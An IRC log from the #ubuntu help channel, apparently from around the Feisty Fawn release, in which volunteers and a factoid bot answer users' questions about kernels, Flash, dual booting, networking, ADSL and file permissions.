[07:59] <Nuked> which kernel would I use if I have a dual core x86_64?
[07:59] <soundray> he1ix: this is the first time you're asking that
[07:59] <Angeluz> spikeb: Actually that works quite well.
[07:59] <soundray> aa^way: /var/cache/flashplugin-nonfree/libflashplayer.so is the important one
[07:59] <Pici> !smb is <alias> samba
[07:59] <he1ix> soundray: 19:52 < he1ix> soundray: is this a ubuntu-applied kernel-patch?
[07:59] <spikeb> Angeluz, really?
[08:00] <Angeluz> The performance with 2960x1050, constant fps-rates.
[08:00] <Nuked> any ideas anyone?
[08:00] <spikeb> nice
[08:00] <Angeluz> FOV on 140.
[08:00] <soundray> he1ix: I take it back and apologize
[08:00] <he1ix> soundray: anyways... there seems to be no obvious way to deactivate it. i'll fetch the sources and look there...
[08:00] <mreynolds> Nuked: I have a core duo 2, which is the same as what you're referring to
[08:00] <Angeluz> It just that my two monitors (21 Widescreen-TFT and 19 CRT) don't make it look that good.
[08:00] <he1ix> soundray: thanks
[08:00] <Angeluz> Too huge borders between them.
[08:00] <Nuked> mreynolds: so which kernel package to use?
[08:01] <mreynolds> Nuked: Looking...
[08:01] <Nuked> mreynolds: thanks
[08:01] <Angeluz> Now I'd like to know if I can force Quake to just use one display instead of both.
[08:01] <mreynolds> linux-image-2.6.20-15-generic
[08:01] <mreynolds> Nuked: Looks like that's what I'm using
[08:01] <Angeluz> spikeb: UT99 runs like hell too. :)
[08:02] <spikeb> hehe
[08:02] <Angeluz> If I had two of the same displays, I'd give it a chance.
[08:02] <soundray> Nuked: what version of ubuntu?
[08:02] <Angeluz> Any ideas?
[08:02] <Nuked> either edgy or feisty
[08:02] <knix_> If I upgraded to feisty server, is there a way to downgrade back to edgy?
[08:02] <spikeb> no
[08:03] <knix_> well wtf
[08:03] <`davo> I just upgraded to 7.04, and my wireless connection is gone..
[08:03] <Nuked> I just want to know if I should install a 64 bit version of ubuntu, and whether or not it will support dual core
[08:03] <soundray> Nuked: linux-image-2.6.17-11-generic on edgy, linux-image-2.6.20-15-generic on feisty
[08:03] <PriceChild> knix_, feisty in #ubuntu+1 and no its not supported
[08:03] <mreynolds> Nuked: I did, and it does
[08:03] <soundray> Nuked: both 32bit and 64bit versions support dual core.
[08:03] <PriceChild> `davo, feisty isn't finished. Support in #ubuntu+1
[08:03] <knix_> PriceChild, ubuntu+1
[08:03] <Notchnick> how many hours are left for feisty fawn to be released?
[08:03] <abb0tt-1> I have found this file that i believe is a bug fix, abiword_grammar.debdiff, what is the ubuntu patch command
[08:03] <abb0tt-1> ?
[08:03] <knix_> ?
[08:04] <soundray> Nuked: go with 32bits unless you run numbercrunching applications
[08:04] <PriceChild> knix_, /join #ubuntu+1
[08:04] <knix_> kk
[08:04] <soundray> Nuked: for mainstream use, i386 causes fewer problems and is not noticable slower
[08:05] <soundray> *noticably
[08:05] <mreynolds> soundray: 64 has problems?
[08:05] <soundray> mreynolds: no
[08:05] <Nuked> soundray: mreynolds: thanks I will now install ubuntu on these new boxes... soundray I do video/audio and encryption
[08:05] <Gat0rvean> Hello all, I would really like to try Ubuntu, but I'll be in a dual boot environment for my son (windows+games = my son), how easy is this to setup, and how will they react being onthe same disk togather?
[08:05] <soundray> mreynolds: just when you want to run certain commercial/closed source programs
[08:05] <Angeluz> Gat0rvean: It's easy.
[08:05] <atrus> i'm getting some crashes related to xserver-xorg-input-evdev. what's the best way to get debugging symbols in it so i can maybe submit a useful stack trace?
[08:05] <cire> i installed beryl on ubuntu and now remote desktop is broke.  how do i fix this?  i tried the #ubuntu-effects channel but no one is listening.
[08:06] <Nuked> thanks again guys
[08:06] <jrib> Gat0rvean: should be fine, but your life will be a lot easier if you install windows first and leave space for ubuntu, see ubotu:
[08:06] <soundray> Nuked: video encoding benefits strongly from 64bit, but only if you have the appropriate codec.
[08:06] <jrib> !dualboot > Gat0rvean    (Gat0rvean, see the private message from ubotu)
[08:06] <Angeluz> !dual-boot
[08:06] <ubotu> Dual boot instructions:  https://help.ubuntu.com/community/WindowsDualBootHowTo (x86/AMD64) - https://wiki.ubuntu.com/YabootConfigurationForMacintoshPowerPCsDualBoot (Macintosh)
[08:06] <compengi> what's the difference between using a default extract tool and gunzip to unzip file.gz?
[08:06] <Gat0rvean> gotcha, thanks
[08:06] <Angeluz> No '-' then. :)
[08:06] <jrib> compengi: what do you mean by "default extact tool"?  The gui one?
[08:06] <soundray> compengi: gunzip is the default tool to extract .gz files
[08:07] <compengi> jrib, yeah the GUI
[08:07] <aa^way> flash is fixed for me
[08:07] <what_if> what repository would have win32codecs and the DVD decoding sw ?
[08:07] <soundray> compengi: even if you run some gui program, it'll use gunzip in the background
[08:07] <aa^way> whoever has probs with installing flash, really simple command, http://frem.wordpress.com/2006/05/31/installing-flash-in-ubuntu-606-lts/
[08:07] <Angeluz> what_if: deb-src http://medibuntu.sos-sts.com/repo/ feisty free non-free
[08:08] <Angeluz> deb http://medibuntu.sos-sts.com/repo/ feisty free non-free
[08:08] <majd> how do i see a list of mountable devices on a local network?
[08:08] <soundray> aa^way: yeah, but...
[08:08] <aa^way> and installing with sudo should be sudo apt-get install flashplugin-nonfree
[08:08] <aa^way> sudo update-flashplugin
[08:08] <aa^way> and thats it
[08:08] <Trek^> how to install package if ive downloaded it to my thumb drive from the internet?
[08:09] <aa^way> i just missed last command, no documentation about it :\
[08:09] <soundray> aa^way: the latter is preferable
[08:09] <Angeluz> Trek^: Is it a .deb?
[08:09] <aa^way> oh is it
[08:09] <thekidrio> anyone here use a dell poweredge?
[08:09] <thekidrio> when using afacli to recon a battery, i know it takes a long time but is there a status meter or should i just fire and forget it or
[08:09] <Angeluz> In that case, a doubleclick will do the job just fine, I'd say.
[08:09] <Trek^> Angeluz: yes!
[08:09] <Angeluz> There's a "but"? ;)
[08:10] <mewt> Hi, I just upgraded to feisty and i have only 1 major gripe..after i restart xserver wont load and gives the error that there is a version mismatch between the kernel module and the driver
[08:10] <aldin> how to play .amr files?
[08:10] <abb0tt-1> I have found this file that i believe is a bug fix, abiword_grammar.debdiff, is this a patch and how do i "run" this patch?
[08:10] <aldin> !.amr
[08:10] <ubotu> Sorry, I don't know anything about amr - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:10] <mewt> what can i do ?
[08:10] <aldin> !amr
[08:10] <compengi> soundray, but what happened is that i extracted the file.gz using GUI tool and copied it to a specific folder but the program after running didn't recognize that file, while when i used gunzip -c winamp_presets.gz > ~/.xmms/eq.preset it worked
[08:10] <Angeluz> mewt: depmod -a (I'm guessing here!)
[08:10] <aldin> mewt: go to #ubuntu+1
[08:10] <mewt> thnks
[08:10] <imon9> hi
[08:11] <Belutz> what time does feisty will be available for download? :)
[08:11] <imon9> i have some question regarding LAMP (web server)
[08:11] <Maurox> Belutz 19 april
[08:11] <Angeluz> Belutz: Tomorrow between 0 and 23:59? :o)
[08:11] <bubuntu> I can't connect to the internet using my
[08:11] <bubuntu> Ubuntu box.
[08:11] <soundray> compengi: the difference is the invocation. Your gui prog will have uncompressed it to winamp_presets, not to the target name you specified.
[08:11] <Angeluz> bubuntu: DSL?
[08:11] <Belutz> Maurox, it's 19 april already in indonesia
[08:11] <aaaaaaabbbbbbbb> server irc://irc.ashnet.org/m1st
[08:11] <tuskernini> what is the best wireless assistant for ubuntu?
[08:11] <cire> is there no fix for remote desktop after installing beryl on edgy?
[08:11] <bubuntu> Who will be kind enough to help me. I cannot update it for months now...
[08:12] <compengi> soundray, nope.. it extracted it to eq.preset
[08:12] <Maurox> Belutz: i think that should be or 19 april on USA or U.K
[08:12] <Belutz> Maurox, ic, thanks :)
[08:12] <sly007> Hello, what is the most popular relay only SMTP client (just for use with mutt and alike)? ssmtp, esmtp, ...?
[08:12] <Angeluz> bubuntu: You should wait for the official announcement.
[08:12] <morrolan> Hi All. I'm using Ubuntu 6.06 server to run a webserver - have Webmin installed but for certain functions it needs Java.  Which Java packe is best for a server environment with no GUI?
[08:12] <Angeluz> Should be in the next 24 hours, even in indonesia.
[08:12] <tuskernini> !wireless
[08:12] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[08:12] <bubuntu> I think I broke my Ubuntu.
[08:13] <bubuntu> Will someone help me fix it?
[08:13] <Angeluz> What's the trouble, bubuntu?
[08:13] <ompaul> bubuntu, broke can mean many things - please define it a bit better
[08:14] <bubuntu> At first I thought it was the wireless pci ethernet thing that was broken. So I replaced it with a wire ethernet card. I think I messed with the network settings at one point.
[08:14] <Trek^> Why is it that Ubuntu don't have a dial-up connection GUI?
[08:15] <bubuntu> Now I cannot connect to the internet. Currently using my laptop which uses the router fine.
[08:15] <Trek^> Why is it that Ubuntu don't have a dial-up connection GUI by default?
[08:15] <Maurox> Trek^ who said that it doesnt ?
[08:15] <bubuntu> I tried to ping but can't on the ubuntu machine. except 127.0.0.1 any other address returns nothing
[08:15] <imon9> i install Apache, PHP, AmySQL...suppose all it right..but there is few thing which is not right: (1) i change my root directory to my /home/ directory because is easier to manipulate file without gksu (coz /var/www is restricted right area) and i manage to get apache to show my new root server, but it wont show its sub-directory. I reckond it is problem with "permission" but i dont know how to set it (2) mysql doesnt seems to be linked to my
[08:15] <Angeluz> Sorry, can't help you with that. I'm accessing the internet directyl via my dsl-modem.
[08:15] <soundray> Trek^: it does: System-Admin-Network-Modem connection. Click Properties
[08:15] <imon9> can anyone help?
[08:15] <morrolan> Hi All. I'm using Ubuntu 6.06 server to run a webserver - have Webmin installed but for certain functions it needs Java.  Which Java packe is best for a server environment with no GUI?
[08:16] <soundray> Trek^: pppconfig should be there, too
[08:16] <bubuntu> ompaul, Angeluz  I tried to ping but can't on the ubuntu machine. except 127.0.0.1 any other address returns nothing
[08:16] <Trek^> Maurox: I mean, when I install Ubuntu,then I want to connect through dial-up connection. Where should I connect?
[08:16] <Angeluz> bubuntu: As I said, I have no experience with routers, sorry.
[08:17] <morrolan> Hi All. I'm using Ubuntu 6.06 server to run a webserver - have Webmin installed but for certain functions it needs Java.  Which Java packe is best for a server environment with no GUI?  Does the server have to have Java installed or is it my current install which is wrong?
[08:17] <blackest> morrolan try a sun version latest is 1.6 which fixes a few problems in 1.5
[08:17] <Maurox> Trek^ System/Administration/Networking ( or Network )
[08:17] <tossica> salve
[08:17] <morrolan> blackest direct from Sun website?  Is it the server that needs java though?
[08:17] <ompaul> bubuntu, and ifconfig returns ipv4 ips for ethX ?
[08:17] <soundray> !java | morrolan, this applies to both server and desktop versions
[08:17] <ubotu> morrolan, this applies to both server and desktop versions: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository. Enable the backports repository on Edgy to install sun-java6-jre
[08:18] <cire> can anyone help with a beryl question?
[08:18] <blackest> well said that bot :)
[08:18] <Angeluz> cire: You should go to #beryl
[08:18] <Trek^> Maurox: What does dial prefix mean?
[08:18] <cire> thanks
[08:19] <imon9> nevermind..thanks anyway
[08:19] <morrolan> thanks
[08:19] <soundray> Trek^: it's needed to get a dialtone on some PBX systems. Leave it empty.
[08:19] <bubuntu> ompaul Eth0 It just has IPV6
[08:19] <ompaul> bubuntu, run the following command - sudo dhclient
[08:19] <Trek^> soundray: Thanks!
[08:19] <Maurox> Trek^ i dont really know im not a native speaker but i think that have to do with coonection by phone
[08:21] <bubuntu> ompaul, Reception errors 50 ... it sends packets but does not recieve.
[08:21] <soundray> !beryl | cire
[08:21] <ubotu> cire: Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[08:21] <Trek^> Does Ubuntu automatically connect to the Internet if i have a ADSL connection?
[08:21] <Angeluz> Trek^: Yes.
[08:22] <soundray> Trek^: no, it depends on how your ADSL modem is connected to your ubuntu machine.
[08:22] <cire> i tried #ubuntu-effects but no one is listening
[08:22] <bubuntu> ompaul No DHCP offers. ends with sleeping
[08:22] <cire> or wants to answer my question
[08:22] <Wikzo> Anyone know the specific time for the 7.04 to relase? Does it go after the UK time or?
[08:22] <ompaul> bubuntu, so I don't know if you are on wireless or wired
[08:22] <soundray> cire: ask here and hope for the best
[08:22] <ompaul> bubuntu, but it just looks like you need to set up networking
[08:23] <ompaul> bubuntu, unless you went and done something silly
[08:23] <cire> beryl install on ubuntu brok gnome's built in remote desktop "system->preferences->remote desktop"
[08:23] <cire> broke
[08:23] <Trek^> soundray: please state an example about ADSL
[08:23] <Angeluz> Wikzo: I'd stick with regularily visiting the ubuntu-page for an announcement.
[08:23] <bubuntu> ompaul,  wired now i used to be on wireless thinking it broken i took it to the shop... now i realize ubuntu is the problem and not the hardware...
[08:23] <Angeluz> cire: You should check with google, if there's a known bug for that.
[08:23] <ompaul> bubuntu, ehh somehow I doubt it
[08:24] <cire> i did but came up with nothing that helps...some say i'm out of luck
[08:24] <bubuntu> ompaul,  it used to work fine. it broke about six months back.
[08:24] <ompaul> bubuntu, but then I run it on about 20 machines at the moment
[08:24] <Maurox> Trek^ if you ADSL needs a login and password ubuntu wont be able to connect automatically you should give that information to ubuntu
[08:24] <morrolan> After enabling the root account on my web-server, sudo user now no longer has sudo permissions?
[08:24] <ompaul> bubuntu, so I am out of here - meetings meetings meetings
[08:24] <bubuntu> ompaul,  maybe i just messed with the settings.
[08:24] <soundray> Trek^: generally, if your ADSL modem is connected to your PC via an Ethernet cable, it'll be easy to set up. If you connect to it via USB, it can range from easy to impossible.
[08:24] <bubuntu> ompaul, how to i set it back?
[08:25] <bubuntu> ompaul, can't even access the router.
[08:25] <Angeluz> Trek^: sudo pppoeconf should do the job.
[08:25] <bubuntu> ompaul, can't even access the router through the browser
[08:25] <Trek^> Maurox: what if my ADSL don't have a login and password? Is it automatically connected?
[08:26] <ompaul> bubuntu, yeap happens when you muck up your network settings, strongly suggest you use a live CD and copy working etc/network  files into your hard drive
[08:26] <ompaul> bubuntu, and now I am gone
[08:26] <Wikzo> Angeluz -> Sounds good ... but it is a bit strange that we don't get an official release time
[08:26] <Angeluz> Trek^: That's unlikely. Where do you come from?
[08:26] <Maurox> Trek^ yes and also deppends on what soundray says
[08:26] <Trek^> Angeluz: Im from Philippines
[08:26] <Angeluz> Wikzo: Yes, but as far as I know, it's not even 100% sure, that the final Feisty will be released on 19th April.
[08:27] <Trek^> anybody here from Philippines?
[08:27] <bubuntu> I'm from Pilipinas.
[08:27] <soundray> Trek^: how is your modem connected?
[08:27] <Wikzo> I hope so!
[08:27] <Angeluz> I just read that its planned, if the latest beta from april 14th has no bugs.
[08:27] <venom> i need some help
[08:27] <soundray> !helpme
[08:27] <Tracnar> prcd d'un ! : homo,beep,kill ,randkill,suicide,lamer ,gay ,invocation,sacrifice ,invsacrifice ,loadout,carac ,monstrophile,remloadout,mobkill,sores,monstrotruc,melange ,launch ,randlaunch,slaps ,world ends here (dangereux !),use ,useless,hp.
[08:27] <ubotu> Don't ask to ask a question. Just ask your question :)
[08:27] <venom> lol
[08:27] <venom> sorry
[08:27] <Trek^> soundray: I haven't tried it yet.
[08:28] <bubuntu> Any other way apart from doing the livecd copy working network files to fix the network settings?
[08:28] <venom> i am new to ubuntu and don't know how to run applications
[08:28] <Trek^> Bubuntu: where in Philippines are you now?
[08:28] <venom> i have downloaded this doom legacy but i can't get it to start
[08:28] <georgianus> Hello. Does anybody know how can i know if my processor has Virtualization Technology or not?
[08:28] <Angeluz> venom: change into the application's directory (cp), then /.<application>
[08:28] <morrolan> After enabling the root account on my web-server, normal user now no longer has sudo permissions?
[08:28] <fbarcenas> Help! Since I upgraded to edgy I can't hibernate.
[08:28] <mads-> Hello there. My screen is fucking up and flickering in a strangely manner, see http://mads.meganice.dk/ss.png - and I was wondering wether there exists some kinda diagnostics utility for ubuntu in order for me to check what is wrong...
[08:28] <bubuntu> Quezon City.
[08:29] <soundray> fbarcenas: play with the settings in /etc/default -- start with acpi-support
[08:29] <Angeluz> mads-: looks like a framebuffer-issue.
[08:29] <soundray> mads-: use professional language please
[08:29] <Trek^> bubuntu: Do you know any Ubuntu group in Philippines?
[08:29] <Angeluz> Try sudo dpkg-reconfigure xserver-xorg
[08:30] <bubuntu> Not really. Chatted in ubuntu-ph for a while. Now they all seem to be sleeping.
[08:30] <mads-> Angeluz : I'll give it a spin..
[08:30] <mads-> And soundray : Don't know what you mean precisely, but sorry... :s
[08:30] <Wikzo> Mads - er du fra Danmark? Hej, sorry for off topic :P
[08:30] <Trek^> bubuntu: u mean #ubuntu-ph channel?
[08:30] <boubbin> fesity comes tomorrow ?
[08:30] <bubuntu> How to fix network settings to get me internet to work again? Please help any ideas?
[08:31] <bubuntu> Yes the channel.
[08:31] <venom> Need help with starting applications in linux
[08:31] <mads-> Angeluz : Funny thing is it does the same thing when running windows...
[08:32] <soundray> bubuntu: what exactly is the problem with ompaul's suggestion?
[08:32] <Trek^> anybody here from Cebu, Philippines who's expert in Ubuntu?
[08:33] <bubuntu> soundray, What files will I need to copy?
[08:33] <bubuntu> Can you send the files? I don't have the livecd anymore.
[08:33] <Angeluz> mads-: That's odd.
[08:33] <soundray> bubuntu: those in /etc/network
[08:33] <Angeluz> Maybe your monitor-cable is fucked?
[08:33] <Angeluz> Or your graphics card gets too hot?
[08:33] <soundray> !language | Angeluz
[08:33] <ubotu> Angeluz: Please watch your language and keep this channel family friendly.
[08:34] <x386> hi *, help plz
[08:34] <bubuntu> soundray, Okay I don't have the live cd... can you send me the proper settings?
[08:34] <x386> I'm trying to share my internet connection and I have hell of a luck...
[08:34] <WaZ`> !question x386
[08:34] <txetemar> ubuntu espaol
[08:34] <ubotu> Sorry, I don't know anything about question x386 - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:34] <Angeluz> Sorry. ;)
[08:34] <WaZ`> removed?
[08:35] <mads-> Angeluz : Do I want to turn on kernel framebuffer device interface?
[08:35] <bubuntu> !language bubuntu
[08:35] <PriceChild> !es | txetemar
[08:35] <ubotu> txetemar: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[08:35] <Angeluz> knix__: mads- Try both options. You have nothing to lose, huh? :)
[08:35] <drewzf> !question mythtv
[08:35] <ubotu> Sorry, I don't know anything about question mythtv - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:35] <dsdg> hi, anyone in here installed alfresco on dapper?
[08:35] <drewzf> lol
[08:35] <Angeluz> I don't know anything about your hardware.
[08:35] <bakerconspiracy> what is alfresco?
[08:36] <dsdg> bakerconspiracy, it's a very good (so i am told) document management system,
[08:36] <drewzf> 20 freakin minutes to transfer 180MB over sftp inside of my local network
[08:36] <drewzf> is that normal?
[08:36] <dsdg> drewzf, no :)
[08:36] <bakerconspiracy> nope
[08:36] <drewzf> dsdg: Why's it going so slow?
[08:36] <Angeluz> drewzf: It's not. ;-)
[08:36] <bakerconspiracy> maybe if you are using 10 mbps cables
[08:36] <drewzf> I am
[08:36] <drewzf> And my nics are all good
[08:36] <drewzf> it's from a livecd
[08:36] <boubbin> i have Intel core 2 duo, but ubuntu regocnizes it as single core, htop, superkaramba everything shows just one core, how to fix ?
[08:37] <drewzf> if that has anything to do with it
[08:37] <kILLu> hi
[08:37] <drewzf> which I doubt
[08:37] <bakerconspiracy> yea shoudn't
[08:37] <kILLu> how to raise the display refresh rate? i can only select 60 hz and my eyes are starting to hurt
[08:37] <bakerconspiracy> it's probably the router or cable
[08:37] <drewzf> it's a POS IDE HDD, but it should get more than that
[08:37] <soundray> !fixres | kILLu
[08:37] <ubotu> kILLu: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[08:37] <Maurox> boubbin you shuold be fine using generic kernel or server image
[08:37] <drewzf> probably my router then
[08:38] <Tatster> Hi all.  Quick question - On my edgy machine - I've got a mixed-mode CD eg audio CD and a data portion. On my mac I can both portions but Edgy doesn't want to know!!!  Any ideas?
[08:38] <boubbin> Maurox: then the nvidia drivers need to be installed again ?
[08:38] <somekevin> Hey, does anyone know if there's a command I can issue to lock and put the screen in power-saving mode?
[08:38] <x386>  WaZ`: no.. I'm not finding anithing usefull
[08:38] <jrib> somekevin: /etc/acpi/screenblank.sh  possibly
[08:38] <Maurox> boubbin if you are using the .run yes if you are using nvidia-gl no
[08:39] <ardchoille> somekevin: gnome-screensaver-command --lock  ?
[08:39] <boubbin> Maurox: using the .run ?
[08:39] <martinnnnnnn> Why does Ubuntu create home folder that has read access to all?
[08:39] <drewzf> boubbin: nvidia's binaries are in .run format
[08:39] <Maurox> boubbin the installer from nvidia page
[08:39] <boubbin> installed with adept
[08:39] <somekevin> ardchoille: Thanks, that's close but it doesn't put the screen in power-saving mode
[08:39] <drewzf> boubbin: Then n
[08:39] <drewzf> no*
[08:39] <x386> what is the easiest way to lock mouse and keyboard in ubuntu?
[08:39] <boubbin> ok
[08:39] <somekevin> jrib: I'll have to try that. Thank you
[08:39] <ardchoille> somekevin: True
[08:39] <WaZ`> x386: didn't man for you to search, meant for you to ask your question directly ;-)
[08:39] <Maurox> boubbin so if you are ussing the adept just install the new kernel image and should be fine
[08:40] <martinnnnnnn> By default, Ubuntu creates home folder that gives 'Others' read access. Isn't this a bit weird?
[08:40] <soundray> Tatster: try cccd
[08:40] <boubbin> nice
[08:40] <soundray> !info cccd | Tatster
[08:40] <ubotu> tatster: cccd: A small GTK+ CD player program. In component universe, is extra. Version 0.3beta4-6 (edgy), package size 36 kB, installed size 148 kB
[08:40] <atrus> x386: in gnome? hit the logout button and select "lock"
[08:40] <jrib> martinnnnnnn: not really
[08:40] <x386> atrus: but I only want to lock keyboard and mosuse, and leave active screen
[08:41] <jrib> martinnnnnnn: /etc/adduser.conf  if you prefer something else of course :)
[08:41] <ardchoille> x386: gnome-screensaver-command --lock  ?
[08:41] <martinnnnnnn> jrib: in Ubuntu 7.04 beta does :/     oh, I shouyld be in +1
[08:41] <ardchoille> x386: Oh, nevermind
[08:41] <jrib> martinnnnnnn: I mean it isn't really weird
[08:41] <somekevin> jrib: That's cool. It put the monitor in power-save mode, and it returned easily. It did NOT lock, but I might be able to combine it with another command or something.
[08:42] <drewzf> Is there any way to tell if a local file is done being downloaded?
[08:42] <michup> hi, ive problem ./ccg_server: ./lib/libc.so.6: version `GLIBC_2.4' not found (required by /usr/lib/libSDL-1.2.so.0)
[08:42] <martinnnnnnn> jrib: no? I created an unpreviliges user for my friend, and he logged in remotly thourhg ssh. He can view my home folder, and in my home folder passwords are stored for .e.g. thunderbird
[08:42] <atrus> x386: if you could do that, the screensaver would activate shortly after anyways. i don't know there's an easy way to do what you're asking.
[08:42] <jrib> somekevin: yeah, ardchoille gave you the one for lock I think
[08:42] <Hc\\> !wine
[08:42] <ubotu> wine is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information.
[08:42] <drewzf> for example, I'm putting a file from sftp on another machine, how can I tell if the file is done downloading aside from doing stat over and over and checking block differences?
[08:42] <michup> i cant find GLIBC_2.4 in repository
[08:42] <offspring> so, I've installed the desktop. What do I do to turn it on? restart?
[08:42] <michup> im using ubuntu edgy
[08:42] <reydelsillon> hi again....... im following this guide to install my only and favorite game to linux. http://ubuntuforums.org/showthread.php?t=293533  its all good until i must enter this code: ./configure CFLAGS=-fno-stack-protector
[08:42] <reydelsillon> make depend && make ..... i get this error: http://paste.ubuntu-nl.org/16290/ ... shoot!
[08:42] <jrib> martinnnnnnn: anything with a password shouldn't be made world-readable.  That's a big security issue
[08:43] <somekevin> drewzf: usually the program notifies you. What are you using?
[08:43] <martinnnnnnn> jrib: exactly, which is why Ubuntu shoulnd't default with sharing home folders to local users
[08:43] <pala> #polska
[08:43] <jrib> martinnnnnnn: I disagree, I think programs shouldn't create world readable password files regardless
[08:43] <mojojojo_> My microphone in Ubuntu doesn't work, how can I troubleshoot it??
[08:43] <drewzf> somekevin: I want to detect from the end that's being sftp-putted to
[08:43] <drewzf> If that makes any sense
[08:43] <drewzf> the system recieving the file
[08:43] <pala> how to change room
[08:44] <drewzf> not the system sending
[08:44] <mads-> Does ubuntu have some kinda utility with which I can check wether a video card is "toast"?
[08:44] <bakerconspiracy> toast lol
[08:44] <bakerconspiracy> what did you do to it
[08:44] <bakerconspiracy> ?
[08:44] <drewzf> And I'm not doing this from any app, I don't have a dm installed
[08:44] <offspring> check for jam oozing out of your box?
[08:44] <mojojojo_> skype doesn't capture voice :(
[08:44] <offspring> case.
[08:44] <soundray> drewzf: consider using rsync instead. It has a --progress option
[08:45] <offspring> so, I've installed the desktop from the command line. What do I do to turn it on? restart?
[08:45] <jrib> martinnnnnnn: definitely file a bug against thunderbird if it does that
[08:45] <drewzf> soundray: It's only for this single file, but the file's quite large
[08:45] <mads-> bakerconspiracy : Didn't do anything. It's my dads, and it's old (ATI Radeon 9700 Pro 128 MB). It just acts crazy and someone has suggested it might be toast. Anyway I can check with software thingy?
[08:45] <michup> i cant find GLIBC_2.4 in repository
[08:45] <drewzf> soundray: And I'm getting tired of walking to and from the server closet
[08:45] <Angeluz> Is there any way to play quake3/ioquake3 on one screen only?
[08:45] <pala> d
[08:45] <michup> im using ubuntu edgy
[08:45] <Angeluz> I'm using the xorg-radeon drivers, with 2 screens via MergedFB.
[08:46] <soundray> mojojojo_: double-click the volume icon and ensure the microphone is not muted.
[08:46] <mads-> offspring : sudo /etc/init.d/gdm start if you are using gnome...
[08:46] <eifzon> how can i default xorg if i did something wrong in there??
[08:46] <zorlin> Holy cripes. This is active.
[08:46] <kILLu> hi
[08:46] <zorlin> Welcome!
[08:47] <kILLu> how to add some gnome programe to autostart?
[08:47] <jrib> !xconfig > eifzon    (eifzon, see the private message from ubotu)
[08:47] <YetiChick> drewzf: You wouldn't happen to be running the remote sftp session in screen, would you?
[08:47] <jrib> !startup > kILLu    (kILLu, see the private message from ubotu)
[08:47] <terminator> seek war 5vs5
[08:47] <zorlin> !startup
[08:47] <ubotu> To add programs to start up when you log into your Gnome session go to System>Preferences>Sessions and use the Startup Programs tab. For more information, see https://help.ubuntu.com/community/AddingProgramToSessionStartup
[08:48] <drewzf> YetiChick: Nah, the other box crashed, so I'm just using a liveCD to restore data from the hdd before nuking it
[08:48] <eifzon> jrib: but i wannnna default everything first
[08:48] <rsk> ehm.. keep that out of here terminator
[08:48] <ardchoille> jrib: Nice.. I was typing that out when you did the sessions factoid. Saves me typing.
[08:48] <Tatster> soundray: cccd will play the audio cd content, but I can't see the data portion
[08:48] <somekevin> drewzf: Yeah, I would definitely consider using a different transfer method. Some kind of pull from the receiver side probably makes the most sense.
[08:48] <jrib> eifzon: that command lets you generate it from scratch
[08:48] <YetiChick> drewzf:  There's not really anything in the way that sftp works that will allow you to do what you want to.  If you started out knowing you wanted to, you could have done it a couple of different ways to make it easier to track.
[08:48] <soundray> Tatster: look for a CD Extras option. The blurb claims that it supports mixed mode.
[08:48] <luz> kjifjo,gb mkfmllg
[08:49] <Tatster> soundray: ah ok
[08:49] <luz> andate a la mierda pelotudaso
[08:49] <jrib> !es | luz
[08:49] <ubotu> luz: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[08:49] <eifzon> jrib: what do you mean
[08:49] <Tatster> soundray: I'm gonna have to try that later. thanks for the tip.
[08:49] <jrib> eifzon: did you run the command I suggested?
[08:49] <drewzf> YetiChick: No SSHd on the livecd :\
[08:49] <somekevin> drewzf: rsync is definitely a convenient transfer method, though it has a lot of options to wade through
[08:50] <soundray> drewzf: you can apt-get it though
[08:50] <POVaddct> drewzf: yeah. that's a shame
[08:50] <tommytom> was about to say same thing
[08:50] <YetiChick> drewzf:  I prefer rsync, too...  But you can apt-get sshd while the livecd is running...
[08:51] <drewzf> YetiChick: Nah, I used up all of my memory archiving the damn thing, I tried that, and I kept getting errors.
[08:51] <drewzf> What the hell is going on is this some kind of poonjab botnet attempt?
[08:51] <YetiChick> drewzf:  (nod)  Yeah, then you're kind of stuck where you are, it sounds like.
[08:52] <BadaR> release of feisty 7.04 is tomorrow?
[08:52] <rNIUS> hello! :D
[08:52] <drewzf> Oh
[08:52] <drewzf> I've had 7.04 forever.
[08:52] <martinnnnnnn> BadaR: yes
[08:52] <BadaR> cool
[08:52] <BadaR> at 24:00? or at day?
[08:52] <tommytom> badar: dont you mean 00:00? lol
[08:52] <Trek^> Can a Live CD connect to the Internet using ADSL?
[08:53] <POVaddct> BadaR: 0:00 is timezone dependent unless you mean 0:00 UTC :)
[08:53] <soundray> Trek^: yes
[08:53] <BadaR> well yes tommytom :D
[08:53] <tommytom> trek^: yes
[08:53] <drewzf> Trek^: Yes, but you have to initialize the connection yourself.
[08:53] <tommytom> im on live right now on cable/router setup
[08:53] <drewzf> Trek^: The easiest way, imho, is to 'sudo dhclient' from terminal.
[08:53] <CientificoLoco> hello everybody, how do I install a countdown to ubuntu 7.04 in my desktop? is a countdown there?
[08:53] <luz> puto
[08:53] <drewzf> Ummm?
[08:53] <soundray> Trek^: it depends on how your modem is connected though, as I told you before.
[08:53] <luz> nos que mierda me desis culiazdo
[08:53] <Trek^> drewzf: Is it easy to initialize the connection?
[08:53] <drewzf> Can you not get Feisty right now? I've been running 7.04 for weeks.
[08:54] <CientificoLoco> luz, no spaol.!
[08:54] <luz> hello boys
[08:54] <POVaddct> drewzf: dhclient is not suitable for every adsl connection
[08:54] <boubbin> how to make grub to rewrite the menu.lst ?
[08:54] <boubbin> i removed some parts and I want them back
[08:54] <luz> vgefwgn bcviz
[08:54] <luz> kjhdsfjms
[08:54] <drewzf> Trek^: Go through your system's networking configuration from the panel
[08:54] <luz> bhjzxdyjers
[08:54] <luz> hola
[08:54] <tommytom> hola
[08:54] <drewzf> Trek^: If you have dhcp it's quite easy
